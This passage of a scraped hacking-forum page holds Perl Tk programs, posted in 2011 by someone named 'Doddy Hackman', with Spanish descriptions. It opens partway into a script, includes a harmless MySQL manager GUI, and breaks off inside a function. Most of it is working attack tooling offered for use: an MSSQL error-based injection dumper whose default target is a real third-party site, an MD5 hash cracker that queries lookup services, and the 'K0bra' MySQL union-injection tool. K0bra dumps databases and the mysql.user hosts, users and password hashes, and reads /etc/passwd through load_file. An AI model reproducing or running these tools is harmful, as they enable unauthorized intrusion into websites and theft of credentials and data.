sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub tomar {
my ($web,$var) = @_;
return $nave->post($web,[%{$var}])->content;
}


sub verdir{
my @files;
my @archivos;
opendir DIR,$_[0];
my @archivos = readdir DIR;
for (@archivos) {
if (-f $_[0]."/".$_) {
push(@files,$_)
}
}
return @files;
}

sub verfile {
if ($_[0]=~/(.*)\.(.*)/ig) {
return ($1,$2);
}
}

sub extensiones {

if ($_[0] =~/py/ig) {
$code  = "python";
}
elsif ($_[0] =~/pl/ig) {
$code = "perl";
}
elsif ($_[0] =~/rb/ig) {
$code = "ruby";
}
elsif ($_[0] =~/php/ig) {
$code = "php";
}
elsif ($_[0] =~/txt/ig) {
$code = "";
}
else {
$code = "Yet";
}
return $code;
}

sub openfile {

my $r;

open (FILE,$_[0]);
@wor = <FILE>;
close FILE;
for(@wor) {
$r.= $_;
}
return $r;
}

sub lleva {
return $nave->post('http://pastebin.com/api_public.php',{ paste_code => $_[1],paste_name=> $_[0],paste_format=>$_[2],paste_expire_date=>'N',paste_private=>"public",submit=>'submit'})->content;
}

# ¿ The End ?


#456
Perl / [Perl Tk] Mysql Manager
Julio 03, 2011, 10:02:10 PM
Un simple mysql manager en version grafica

Código: perl

#!usr/bin/perl
#Mysql Manager Tk (C) Doddy Hackman 2011
#ppm install http://www.bribes.org/perl/ppm/DBI.ppd

use Tk;
use Tk::ROText;
use DBI;
use Win32;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = MainWindow->new();

$nave->title("Mysql Manager");
$nave->geometry("200x170+20+20");
$nave->resizable(0,0);

$nave->Label(-text=>"Host : ",-font=>"Impact1")->place(-x=>10,-y=>10);
my $host = $nave->Entry(-width=>20,-text=>"localhost")->place(-x=>60,-y=>13);

$nave->Label(-text=>"User : ",-font=>"Impact1")->place(-x=>10,-y=>40);
my $user = $nave->Entry(-width=>20,-text=>"root")->place(-x=>60,-y=>43);

$nave->Label(-text=>"Pass : ",-font=>"Impact1")->place(-x=>10,-y=>70);
my $pass = $nave->Entry(-width=>20)->place(-x=>60,-y=>73);

$nave->Button(-text=>"Connect",-width=>13,-command=>\&now)->place(-x=>60,-y=>120);

MainLoop;

sub now {

my $host = $host->get;
my $user = $user->get;
my $pass = $pass->get;

$info = "dbi:mysql::".$host.":3306";

if (my $enter = DBI->connect($info,$user,$pass,{PrintError=>0})) {
$nave->destroy;
my $man = MainWindow->new();
$man->title("Mysql Manager (C) Doddy Hackman 2011");
$man->geometry("350x290+20+20");
$man->resizable(0,0);
$man->Label(-text=>"Query : ",-font=>"Impact1")->place(-x=>10,-y=>10);
my $ac = $man->Entry(-width=>30)->place(-x=>70,-y=>15);
$man->Button(-width=>8,-text=>"Execute",-command=>\&tes)->place(-x=>267,-y=>13);
my $out = $man->ROText(-width=>44,-height=>15)->place(-x=>13,-y=>55);


sub tes {
my $ac = $ac->get;
$re = $enter->prepare($ac);
$re->execute();
my $total = $re->rows();

my @columnas = @{$re->{NAME}};

if ($total eq "-1") {
$out->insert("end","\n[-] Query Error\n");
next;
} else {
$out->insert("end","\n[+] Result of the query\n");
if ($total eq 0) {
$out->insert("end","\n[+] Not rows returned\n\n");
} else {
$out->insert("end","\n[+] Rows returned : ".$total."\n\n");
for(@columnas) {
$out->insert("end",$_."\t");
}
$out->insert("end","\n\n");
while (@row = $re->fetchrow_array) {
for(@row) {
$out->insert("end",$_."\t");
}
$out->insert("end","\n");
}}}}
} else {
Win32::MsgBox("Error in the connection",0,"Mysql Manager");
}}

# ¿ The End ?


Algunas imagenes


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login


Eso es todo
#457
Perl / [Perl Tk] MSSQL T00l
Julio 03, 2011, 10:01:56 PM
Hola , aca les dejo un programa para sacar tablas ,columnas y valores en paginas
vulnerables MSSQL , todo los registros del programa se almacenan en un archivo
de texto con el nombre de la web vulnerable.

Imagen





Código: perl

#!usr/bin/perl
#MSSQL T00l (C) Doddy Hackman 2011

use Tk;
use LWP::UserAgent;
use URI::Split qw(uri_split);
use Win32;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new();
$nave->timeout(5);
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

my $logo = MainWindow->new();
$logo->title("MSSQL T00l (C) Doddy Hackman 2011");
$logo->geometry("491x390+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>25,-y=>20);
my $targetero = $logo->Entry(-width=>50,-text=>"http://www.12manage.com/profile.asp?m=drarupbarman")->place(-y=>23,-x=>90);
$logo->Button(-text=>"Test",-width=>8,-command=>\&start)->place(-y=>20,-x=>400);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>210,-y=>70);
$logo->Button(-text=>"Get Tables",-width=>13,-command=>\&getables)->place(-y=>110,-x=>57);
$logo->Button(-text=>"Get Columns",-width=>13,-command=>\&getcol)->place(-y=>110,-x=>144);
$logo->Button(-text=>"Dump values",-width=>15,-command=>\&getdata)->place(-y=>110,-x=>231);
$logo->Button(-text=>"Show Logs",-width=>15,-command=>\&otherax)->place(-y=>110,-x=>330);

$logo->Label(-text=>"Tables",-font=>"Impact1")->place(-y=>200,-x=>60);
$logo->Label(-text=>"Columns",-font=>"Impact1")->place(-y=>200,-x=>190);
$logo->Label(-text=>"Data",-font=>"Impact1")->place(-y=>200,-x=>330);

my $tablero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>40);
my $columnero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>180);
my $datero = $logo->Listbox(-width=>20)->place(-y=>230,-x=>320);

MainLoop;

sub start {

my $page = $targetero->get;

my $save = comer($page);

$code = toma($page."'");

if ($code=~/ODBC SQL Server Driver/ig or $code=~/Microsoft OLE DB Provider/ig) {
savefile($save.".txt","\n\n[+] Page : $page\n");
Win32::MsgBox("[+] The page is vulnerable to MSSQL Injection",0,"MSSQL T00l");
} else {
Win32::MsgBox("[-] Not vulnerable",0,"MSSQL T00l");
}
}

sub getables {

$tablero->delete("0.0","end");
$columnero->delete("0.0","end");
$datero->delete("0.0","end");

my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
($pass1,$pass2) =  bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."table_name".$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
#print "$path\n";
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
$logo->update;
savefile($save.".txt","[+] Table : ".$1);
$tablero->insert("end",$1);
} else {
$logo->update;
Win32::MsgBox("[+] Finished",0,"MSSQL T00l");
last;
}
}
}


sub getcol {

$columnero->delete("0.0","end");
my $page = $targetero->get;

my $save = comer($page);
savefile($save.".txt","\n");

$d = $tablero->curselection();

for my $id (@$d) {
my $table = $tablero->get($id);

savefile($save.".txt","[+] Table extract : ".$table."\n");

($pass1,$pass2) =  bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1."column_name".$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name="."'".$table."'".$pass1."and".$pass1."column_name".$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;

$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
savefile($save.".txt","[+] Column : ".$1);
$columnero->insert("end",$table.".".$1);
} else {
$logo->update;
Win32::MsgBox("[+] Finished",0,"MSSQL T00l");
last;
}
}
}
}

sub getdata {


$datero->delete("0.0","end");
my $page = $targetero->get;
my $save = comer($page);
savefile($save.".txt","\n");
$d = $columnero->curselection();

for my $id (@$d) {
my $tablex = $columnero->get($id);

savefile($save.".txt","[+] Dump : ".$tablex."\n");

if ($tablex=~/(.*)\.(.*)/) {
my $table = $1;
my $c = $2;
($pass1,$pass2) =  bypass("--");
my $sir;
for (1..666) {
$logo->update;
$path = $pass1."and".$pass1."1=convert(int,("."select".$pass1."top".$pass1."1".$pass1.$c.$pass1."from".$pass1.$table.$pass1."where".$pass1.$c.$pass1."not".$pass1."in".$pass1."(''$sir)))".$pass2;
#print "$path\n";
$code = toma($page.$path);
if ($code=~/value '(.*?)' to/ig) {
$sir.= ",'".$1."'";
savefile($save.".txt","[+] $c : ".$1);
$datero->insert("end",$1);
} else {
$logo->update;
Win32::MsgBox("[+] Finished",0,"MSSQL T00l");
last;
}
}
}
}
}

sub otherax {
my $page = $targetero->get;
my $file = comer($page);
system("start logs/webs/$file".".txt");
}


sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/webs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub comer {
my ($scheme, $auth, $path, $query, $frag)  = uri_split($_[0]);
return $auth;
}

sub bypass {
if ($_[0] eq "/*") { return ("/**/","/*"); }
elsif ($_[0] eq "%20") { return ("%20","%00"); }
else {return ("+","--");}}

# ¿ The End ?
#458
Perl / [Perl Tk] MD5 Crack T00l
Julio 03, 2011, 10:01:44 PM
Un programita para crackear una o varias hashes md5

Imagenes









Código: perl

#!usr/bin/perl
#MD5 Crack T00l (C) Doddy Hackman 2011

use Tk;
use Tk::FileSelect;
use LWP::UserAgent;
use Win32;

if ($^O eq 'MSWin32') {
use Win32::Console;
Win32::Console::Free();
}

my $nave = LWP::UserAgent->new;
$nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
$nave->timeout(5);

my $logo = MainWindow->new();
$logo->title("MD5 Crack T00l");
$logo->geometry("300x100+20+20");
$logo->resizable(0,0);
$logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>110,-y=>10);
$logo->Button(-text=>"Crack HAsh",-width=>20,-command=>\&single)->place(-y=>50,-x=>10);
$logo->Button(-text=>"Crack Wordlist",-width=>20,-command=>\&word)->place(-y=>50,-x=>150);

MainLoop;


sub single {

my $sin = MainWindow->new();
$sin->title("MD5 Crack T00l (C) Doddy Hackman 2011");
$sin->geometry("650x80+20+20");
$sin->resizable(0,0);

$sin->Label(-text=>"MD5 : ",-font=>"Impact1")->place(-x=>30,-y=>20);
my $hash = $sin->Entry(-width=>32)->place(-y=>24,-x=>82);
$sin->Label(-text=>"Result : ",-font=>"Impact1")->place(-x=>290,-y=>20);
my $result = $sin->Entry(-width=>32)->place(-y=>24,-x=>350);
$sin->Button(-text=>"Crack",-command=>\&cracksingle,-width=>12)->place(-y=>22,-x=>555);

sub cracksingle {
my $target = $hash->get();
chomp $target;

if (ver_length($target)) {

$re = crackit($target);

if ($re ne "false01") {
$result->configure (-text =>$re);
} else {
$result->configure (-text =>"Not Found");
}
} else {
Win32::MsgBox("Eso no es un hash",0,"MD5 Crack T00l");
}
}
}

sub word {

my $more = MainWindow->new();
$more->title("MD5 Crack T00l (C) Doddy Hackman 2011");
$more->geometry("450x280+50+50");
$more->resizable(0,0);

$more->Label(-text=>"File : ",-font=>"Impact1")->place(-y=>10,-x=>10);
my $filex = $more->Entry(-width=>40)->place(-y=>13,-x=>50);
$more->Button(-text=>"Crack",-width=>10,-command=>\&crackmulti)->place(-y=>12,-x=>300);
$more->Button(-text=>"Browse",-width=>10,-command=>\&bro)->place(-x=>370,-y=>12);

$more->Label(-text=>"MD5")->place(-y=>70,-x=>65);
my $hashes = $more->Listbox(-width=>32)->place(-y=>100,-x=>20);

$more->Label(-text=>"Result")->place(-y=>70,-x=>300);
my $resultados = $more->Listbox(-width=>32)->place(-y=>100,-x=>230);


sub bro {
$more->update;
$browse = $more->FileSelect(-directory => "/");
my $file = $browse->Show;
$filex->configure (-text =>$file);
}

sub crackmulti {

$hashes->delete(0.0,"end");
$resultados->delete(0.0,"end");

my $archivo = $filex->get();

open(FILE,$archivo);
@leer = <FILE>;
close FILE;

chomp @leer;

my @leera = repes(@leer);

for my $poco(@leera) {
chomp $poco;
if (ver_length($poco)) {
$hashes->insert("end",$poco);
$re = crackit($poco);
if ($re ne "false01") {
$resultados->insert("end",$re);
} else {
$resultados->insert("end","Not Found");
}
}
}
sub repes {
foreach $test(@_) {
push @limpio,$test unless $repe{$test}++;
}
return @limpio;
}
}
}

sub crackit {

my %hash = (
   
'http://passcracking.com/' => {
'tipo'  => 'post',
'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
},   
'http://md5.hashcracking.com/search.php?md5=' =>  {
'tipo' => 'get',
'regex' => 'Cleartext of $_[0] is (.*)',
},
'http://www.bigtrapeze.com/md5/' =>  {
'tipo' => 'post',
'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
},
'http://opencrack.hashkiller.com/' =>  {
'tipo' => 'post',
'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
},
'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
'tipo' => 'post',
'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
},
'http://victorov.su/md5/?md5e=&md5d=' =>  {
'tipo' => 'get',
'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
}
);

for my $data(keys %hash) {
$logo->update; #
if ($hash{$data}{tipo} eq "get") {
$code = toma($data.$_[0]);
if ($code=~/$hash{$data}{regex}/ig) {
savefile("hashes-found.txt",$_[0].":".$1);
return $1;
}
} else {
$code = tomar($data,$hash{$data}{variables});
if ($code=~/$hash{$data}{regex}/ig) {
savefile("hashes-found.txt",$_[0].":".$1);
return $1;
}
}
}
return "false01";
}

sub ver_length {
return true if length($_[0]) == 32;
}

sub toma {
return $nave->get($_[0])->content;
}

sub savefile {
open (SAVE,">>logs/".$_[0]);
print SAVE $_[1]."\n";
close SAVE;
}

sub tomar {
my ($web,$var) = @_;
return $nave->post($web,[%{$var}])->content;
}

# ¿ The End ?
#459
Perl / [Perl Tk] K0bra 1.0
Julio 03, 2011, 10:01:34 PM
Hola a les dejo un programa para escanear la vulnerabilidad SQL de una forma
avanzada

Opciones

  • Scanea el numero de columnas
  • Busca el numero magico automaticamente y muestra data sobre la DB
  • Dumpea mysql.user
  • Lista bases de datos encontradas , asi como tablas y columnas
  • Permite visualizar archivos con load_file()
  • Codificacion y decodificacion para ascii y hex
  • Dumpea valores sobre cualquier columna
  • Guarda todo los registros en un archivo de texto con el nombre de la web


    Imagenes







    Código: perl

    #!usr/bin/perl
    #K0bra 1.0 (C) Doddy Hackman 2011

    use Tk;
    use Tk::ROText;
    use LWP::UserAgent;
    use URI::Split qw(uri_split);
    use Win32;

    my $bypass = "--";
    my $save = "";

    if ($^O eq 'MSWin32') {
    use Win32::Console;
    Win32::Console::Free();
    }

    my $nave = LWP::UserAgent->new();
    $nave->timeout(5);
    $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");

    my $logo = MainWindow->new();
    $logo->title("k0bra 1.0 (C) Doddy Hackman 2011");
    $logo->geometry("500x510+20+20");
    $logo->resizable(0,0);
    $logo->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>25,-y=>20);
    my $targetero = $logo->Entry(-width=>50,-text=>"http://127.0.0.1/sql.php?id=")->place(-y=>23,-x=>90);
    $logo->Button(-text=>"Scan",-width=>10,-command=>\&start)->place(-y=>20,-x=>400);
    $logo->Label(-text=>"Options",-font=>"Impact1")->place(-x=>210,-y=>70);
    $logo->Button(-text=>"Get DBS",-width=>10,-command=>\&getdbs)->place(-y=>110,-x=>40);
    $logo->Button(-text=>"Get Tables",-width=>10,-command=>\&schematablesdb)->place(-y=>110,-x=>120);
    $logo->Button(-text=>"Get Columns",-width=>10,-command=>\&schemacolumnsdb)->place(-y=>110,-x=>200);
    $logo->Button(-text=>"mysql users",-width=>15,-command=>\&mynow)->place(-y=>110,-x=>280);
    $logo->Button(-text=>"load_file",-width=>10,-command=>\&myfile)->place(-y=>110,-x=>390);

    $logo->Button(-text=>"Dump",-width=>10,-command=>\&dum)->place(-y=>150,-x=>90);
    $logo->Button(-text=>"Hex",-width=>10,-command=>\&per1)->place(-y=>150,-x=>170);
    $logo->Button(-text=>"ASCII",-width=>15,-command=>\&per2)->place(-y=>150,-x=>250);
    $logo->Button(-text=>"Show Logs",-width=>10,-command=>\&china)->place(-y=>150,-x=>360);

    $logo->Label(-text=>"Details : ",-font=>"Impact1")->place(-y=>230,-x=>90);

    my $informatero = $logo->Listbox(-height=>5,-width=>40)->place(-y=>210,-x=>160);

    $logo->Label(-text=>"Databases",-font=>"Impact1")->place(-y=>320,-x=>60);
    $logo->Label(-text=>"Tables",-font=>"Impact1")->place(-y=>320,-x=>190);
    $logo->Label(-text=>"Columns",-font=>"Impact1")->place(-y=>320,-x=>330);

    my $datero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>40);
    my $tablero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>180);
    my $columnero = $logo->Listbox(-width=>20)->place(-y=>350,-x=>320);

    MainLoop;

    sub start {

    $informatero->delete("0.0","end");
    $datero->delete("0.0","end");
    $tablero->delete("0.0","end");
    $columnero->delete("0.0","end");

    my $tengo = $targetero->get;

    my ($gen,$save,$control) = &length($tengo,"--");
    if ($control eq 1) {
    $logo->update;
    $targetero->configure(-text=>$gen);
    details($gen,$bypass,$save);
    } else {
    Win32::MsgBox("Not found length columns",0,"K0bra 1.0");
    }
    }

    sub length {
    my $rows  = "0";
    my $asc;
    my $page = $_[0];
    ($pass1,$pass2) = &bypass($_[1]);
    $inyection = $page."1".$pass1."and".$pass1."1=0".$pass1."order".$pass1."by"."9999999999".$pass2;
    $code = toma($inyection);
    $logo->update;

    if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) {

    $logo->update;

    my $testar1 = toma($page."1".$pass1."and".$pass1."1=0".$pass2);
    my $testar2 = toma($page."1".$pass1."and".$pass1."1=1".$pass2);

    unless ($testar1 eq $testar2) {
    my $patha = $1;
    $logo->update;
    chomp $patha;
    $alert = "char(".ascii("RATSXPDOWN1RATSXPDOWN").")";
    $total = "1";
    for my $rows(2..200) {
    $logo->update;
    $asc.= ","."char(".ascii("RATSXPDOWN".$rows."RATSXPDOWN").")";
    $total.= ",".$rows;
    $injection = $page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$alert.$asc;
    $test = toma($injection);
    if ($test=~/RATSXPDOWN/) {
    @number = $test =~m{RATSXPDOWN(\d+)RATSXPDOWN}g;
    $control = 1;
    my $save = comer($_[0]);
    savefile($save.".txt","\n[Target confirmed] : $page");
    savefile($save.".txt","[Bypass] : $_[1]\n");
    savefile($save.".txt","[Limit] : The site has $rows columns");
    savefile($save.".txt","[Data] : The number @number print data");
    $informatero->insert("end","[+] The site has $rows columns");
    $informatero->insert("end","[+] The number @number print data");
    if ($patha) {
    savefile($save.".txt","[Full Path Discloure] : $patha");
    }
    $total=~s/$number[0]/hackman/;
    savefile($save.".txt","[SQLI] : ".$page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total);
    return($page."1".$pass1."and".$pass1."1=0".$pass1."union".$pass1."select".$pass1.$total,$save,$control);
    }
    }
    }
    } else {
    Win32::MsgBox("Not vulnerable",0,"K0bra 1.0");
    next;
    }
    }

    sub details {
    my ($page,$bypass,$save) = @_;
    ($pass1,$pass2) = &bypass($bypass);
    savefile($save.".txt","\n");
    if ($page=~/(.*)hackman(.*)/ig) {
    my  ($start,$end) = ($1,$2);
    $inforschema = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."information_schema.tables".$pass2;
    $mysqluser = $start."unhex(hex(concat(char(69,82,84,79,82,56,53,52))))".$end.$pass1."from".$pass1."mysql.user".$pass2;
    $test3 = toma($start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
    $test1 = toma($inforschema);
    $test2 = toma($mysqluser);
    $informatero->insert("end","");
    if ($test2=~/ERTOR854/ig) {
    savefile($save.".txt","[mysql.user] : ON");
    $informatero->insert("end","[mysql.user] : ON");
    } else {
    $informatero->insert("end","[mysql.user] : OFF");
    savefile($save.".txt","[mysql.user] : OFF");
    }
    if ($test1=~/ERTOR854/ig) {
    $informatero->insert("end","[information_schema.tables] : ON");
    savefile($save.".txt","[information_schema.tables] : ON");
    } else {
    $informatero->insert("end","[information_schema.tables] : OFF");
    savefile($save.".txt","[information_schema.tables] : OFF");
    }
    if ($test3=~/ERTOR854/ig) {
    $informatero->insert("end","[load_file] : ON");
    savefile($save.".txt","[load_file] : ".$start."unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file(0x2f6574632f706173737764))))".$end.$pass2);
    }
    $concat = "unhex(hex(concat(char(69,82,84,79,82,56,53,52),version(),char(69,82,84,79,82,56,53,52),database(),char(69,82,84,79,82,56,53,52),user(),char(69,82,84,79,82,56,53,52))))";
    $injection = $start.$concat.$end.$pass2;
    $code = toma($injection);
    if ($code=~/ERTOR854(.*)ERTOR854(.*)ERTOR854(.*)ERTOR854/g) {
    $informatero->insert("end","");
    $informatero->insert("end","[+] DB Version : $1");
    $informatero->insert("end","[+] DB Name : $2");
    $informatero->insert("end","[+] user_name : $3");
    savefile($save.".txt","\n[!] DB Version : $1\n[!] DB Name : $2\n[!] user_name : $3\n");
    } else {
    Win32::MsgBox("Not Found DB Info",0,"K0bra 1.0");
    }
    }
    }


    sub getdbs {
    $datero->delete("0.0","end");
    my $page = $targetero->get;
    my $save = comer($page);
    my $page1 = $page;
    savefile($save.".txt","\n");
    ($pass1,$pass2) = &bypass($bypass);
    $page=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code = toma($page.$pass1."from".$pass1."information_schema.schemata");
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $limita = $1;
    $logo->update;
    savefile($save.".txt","[+] Databases Length : $limita\n");
    $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),schema_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $real = "1";
    for my $limit(0..$limita) {
    $logo->update;
    $code = toma($page1.$pass1."from".$pass1."information_schema.schemata".$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $control = $1;
    if ($control ne "information_schema" and $control ne "mysql" and $control ne "phpmyadmin") {
    $datero->insert("end",$control);
    savefile($save.".txt","[Database $real Found] : $control");
    $real++;
    }
    }
    }
    } else {
    Win32::MsgBox("information_schema not found",0,"K0bra 1.0");
    }
    }


    sub schematablesdb {

    $tablero->delete("0.0","end");

    my $page = $targetero->get;

    my $save = comer($page);

    $d = $datero->curselection();

    for my $id (@$d) {
    my $db = $datero->get($id);

    my $page1 = $page;
    savefile($save.".txt","\n");
    ($pass1,$pass2) = &bypass($bypass);
    savefile($save.".txt","[DB] : $db");
    $page =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),table_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $page1=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code = toma($page1.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2);
    #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass2."\n";
    if ($code=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) { 
    $logo->update;
    savefile($save.".txt","[+] Tables Length :  $1\n");
    my $limit = $1;
    $real = "1";
    for my $lim(0..$limit) {
    $logo->update;
    $code1 = toma($page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2);
    #print $page.$pass1."from".$pass1."information_schema.tables".$pass1."where".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$lim.",1".$pass2."\n";
    if ($code1 =~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    my $table = $1;
    chomp $table;
    savefile($save.".txt","[Table $real Found : $table ]");
    $tablero->insert("end",$db.".".$table);
    $real++;
    }}
    } else {
    Win32::MsgBox("information_schema not found",0,"K0bra 1.0");
    }}}

    sub schemacolumnsdb {

    $columnero->delete("0.0","end");

    my $page = $targetero->get;
    my $save = comer($page);

    $d = $tablero->curselection();

    for my $id (@$d) {
    my $da = $tablero->get($id);

    if ($da=~/(.*)\.(.*)/) {
    my ($db,$table) = ($1,$2);

    my $page3 = $page;
    my $page4 = $page;

    savefile($save.".txt","\n");
    ($pass1,$pass2) = &bypass($bypass);
    savefile($save.".txt","\n[DB] : $db");
    savefile($save.".txt","[Table] : $table");
    $page3=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code3 = toma($page3.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass2);
    if ($code3=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    savefile($save.".txt","[Columns length : $1 ]\n");
    my $si = $1;
    chomp $si;
    $page4=~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),column_name,char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $real = "1";
    for my $limit2(0..$si) {
    $code4 = toma($page4.$pass1."from".$pass1."information_schema.columns".$pass1."where".$pass1."table_name=char(".ascii($table).")".$pass1."and".$pass1."table_schema=char(".ascii($db).")".$pass1."limit".$pass1.$limit2.",1".$pass2);
    if ($code4=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    $columnero->insert("end",$1);
    savefile($save.".txt","[Column $real] : $1");
    $real++;
    }
    }
    } else {
    Win32::MsgBox("information_schema not found",0,"K0bra 1.0");
    }
    }
    }
    }

    sub mynow {

    my $p = $targetero->get;

    $mi = MainWindow->new();
    $mi->title("Mysql Extractor");
    $mi->geometry("500x310+20+20");
    $mi->resizable(0,0);

    $mi->Label(-text=>"Target : ",-font=>"Impact1")->place(-x=>50,-y=>20);
    my $guix = $mi->Entry(-width=>40,-text=>$p)->place(-y=>23,-x=>110);
    $mi->Button(-width=>10,-text=>"Extract",-command=>\&tengorax)->place(-y=>20,-x=>360);

    $mi->Label(-text=>"Host",-font=>"Impact1")->place(-x=>60,-y=>120);
    $mi->Label(-text=>"User",-font=>"Impact1")->place(-x=>200,-y=>120);
    $mi->Label(-text=>"Password",-font=>"Impact1")->place(-x=>360,-y=>120);

    my $hostero = $mi->Listbox(-width=>20)->place(-y=>150,-x=>40);
    my $usero = $mi->Listbox(-width=>23)->place(-y=>150,-x=>180);
    my $pasero = $mi->Listbox(-width=>20)->place(-y=>150,-x=>340);


    sub tengorax {

    my $page = $guix->get;
    my $save = comer($page);

    my $cop = $page;
    my $cop1 = $page;
    savefile($save.".txt","\n");

    ($pass1,$pass2) = &bypass($bypass);
    $page =~s/hackman/concat(char(82,65,84,83,88,80,68,79,87,78,49))/;
    $code = toma($page.$pass1."from".$pass1."mysql.user".$pass2);
    if ($code=~/RATSXPDOWN/ig){
    $cop1 =~s/hackman/unhex(hex(concat(char(82,65,84,83,88,80,68,79,87,78,49),Count(*),char(82,65,84,83,88,80,68,79,87,78,49))))/;
    $code1 = toma($cop1.$pass1."from".$pass1."mysql.user".$pass2);
    if ($code1=~/RATSXPDOWN1(.*)RATSXPDOWN1/ig) {
    $mi->update;
    savefile($save.".txt","\n[+] Users mysql Found : $1\n");
    for my $limit(0..$1) {
    $mi->update;
    $cop =~s/hackman/unhex(hex(concat(0x524154535850444f574e,Host,0x524154535850444f574e,User,0x524154535850444f574e,Password,0x524154535850444f574e)))/;
    $code = toma($cop.$pass1."from".$pass1."mysql.user".$pass1."limit".$pass1.$limit.",1".$pass2);
    if ($code=~/RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN(.*)RATSXPDOWN/ig) {
    $mi->update;
    $hostero->insert("end",$1);
    $usero->insert("end",$2);
    $pasero->insert("end",$3);
    savefile($save.".txt","[Host] : $1 [User] : $2 [Password] : $3");
    } else {
    last;
    }}}
    } else {
    Win32::MsgBox("mysql.user not found",0,"K0bra 1.0");
    }
    }
    }

    sub myfile {

    my $pag = $targetero->get;

